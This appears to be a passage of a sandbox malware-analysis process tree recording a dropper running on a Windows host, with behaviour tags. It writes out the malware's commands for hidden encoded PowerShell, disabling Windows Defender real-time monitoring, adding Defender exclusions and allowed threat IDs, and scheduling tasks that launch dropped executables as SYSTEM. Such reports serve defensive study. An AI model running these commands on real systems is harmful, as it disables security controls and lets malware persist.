"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:2604

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:1752

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1988

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:4748

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:780

C:\ProgramData\gbam\cjems.exe
C:\ProgramData\gbam\cjems.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4128

C:\ProgramData\gbam\cjems.exe
"C:\ProgramData\gbam\cjems.exe"
3⤵
- Executes dropped EXE
PID:4812

C:\Windows\system32\taskeng.exe
taskeng.exe {E7160E90-7AB5-4859-B4C7-ABD7C5B0A875} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1284

C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF\KNGeknwcwbxZLbh\VMJlLvi.exe
C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF\KNGeknwcwbxZLbh\VMJlLvi.exe oU /mXNdidqo 385134 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:2836

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
3⤵
PID:1000

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
4⤵
PID:3588

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
5⤵
PID:1520

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
6⤵
PID:3980

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
4⤵
PID:3412

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
5⤵
PID:1440

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
6⤵
PID:1724

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
4⤵
PID:1600

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
5⤵
PID:1032

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
6⤵
PID:2540

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
4⤵
PID:2172

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
5⤵
PID:3240

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
6⤵
PID:1968

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
4⤵
PID:3604

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
5⤵
PID:5104

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:308

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
7⤵
PID:3944

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "goMYLXLzo" /SC once /ST 08:56:23 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:3568

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "goMYLXLzo"
3⤵
PID:3828

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "goMYLXLzo"
3⤵
PID:2108

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:2576

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:3424

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:1356

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:3280

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gNguSHSCJ" /SC once /ST 18:26:21 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:1320

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gNguSHSCJ"
3⤵
PID:1560

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gNguSHSCJ"
3⤵
PID:2416

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
3⤵
PID:4744

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
4⤵
PID:4824

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:1828

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
6⤵
PID:2076

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4116

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:4216

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3216

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:4356

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2644

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4508

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3832

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:64
4⤵
PID:4156

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\cksoItPsQhGrxIuH\aCOijKgK\mXFJHkHVEiAHwppu.wsf"
3⤵
PID:4276

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\cksoItPsQhGrxIuH\aCOijKgK\mXFJHkHVEiAHwppu.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:4372

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QVWjqfQytQiLC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:3080

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QVWjqfQytQiLC" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2008

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XPXpeEiKDyUn" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:4644

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XPXpeEiKDyUn" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:4228

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:4688

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2912

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dSFCGoajU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:4880

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dSFCGoajU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:4728

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yPeEHKRKYSIU2" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:4520

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yPeEHKRKYSIU2" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:4832

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\LIlQlxhqsAqlQuVB" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:4804

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\LIlQlxhqsAqlQuVB" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:4964

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:4536

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:4220

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:4592

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:3480

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:4244

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1624

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QVWjqfQytQiLC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:3352

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QVWjqfQytQiLC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1596

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XPXpeEiKDyUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:352

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XPXpeEiKDyUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:4368

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4544

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:3856

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dSFCGoajU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:5008

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dSFCGoajU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2136

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yPeEHKRKYSIU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4292

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yPeEHKRKYSIU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:4840

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\LIlQlxhqsAqlQuVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:5116

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\LIlQlxhqsAqlQuVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1520

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2344

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2908

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF" /t REG_DWORD /d 0 /reg:32
4⤵
PID:3380

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF" /t REG_DWORD /d 0 /reg:64
4⤵
PID:3484

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2260

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:64
4⤵
PID:3604

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gwAINhuRX" /SC once /ST 17:26:06 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:2040

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gwAINhuRX"
3⤵
PID:3044

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gwAINhuRX"
3⤵
PID:2604

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
3⤵
PID:3720

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
4⤵
PID:2692

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
3⤵
PID:3424

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
4⤵
PID:3392

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ZeWKVsXrVUhETallN" /SC once /ST 01:18:07 /RU "SYSTEM" /TR "\"C:\Windows\Temp\cksoItPsQhGrxIuH\VbWwSTopJxofzBQ\HPDLnnv.exe\" xE /cuAHdidpu 385134 /S" /V1 /F
3⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:1356

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "ZeWKVsXrVUhETallN"
3⤵
PID:3196

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2836 -s 260
3⤵
- Program crash
PID:2944

C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF\KNGeknwcwbxZLbh\VMJlLvi.exe
C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF\KNGeknwcwbxZLbh\VMJlLvi.exe oU /mXNdidqo 385134 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3492

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
3⤵
PID:2252

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
4⤵
PID:3376

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
5⤵
PID:4024

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
6⤵
PID:4908

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
4⤵
PID:4396

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
5⤵
PID:3368

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
6⤵
PID:3920

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
4⤵
PID:2820

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
5⤵
PID:3784

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
6⤵
PID:3764

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
4⤵
PID:2988

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
5⤵
PID:4976

\??\c:\windows\SysWOW64\reg.exe
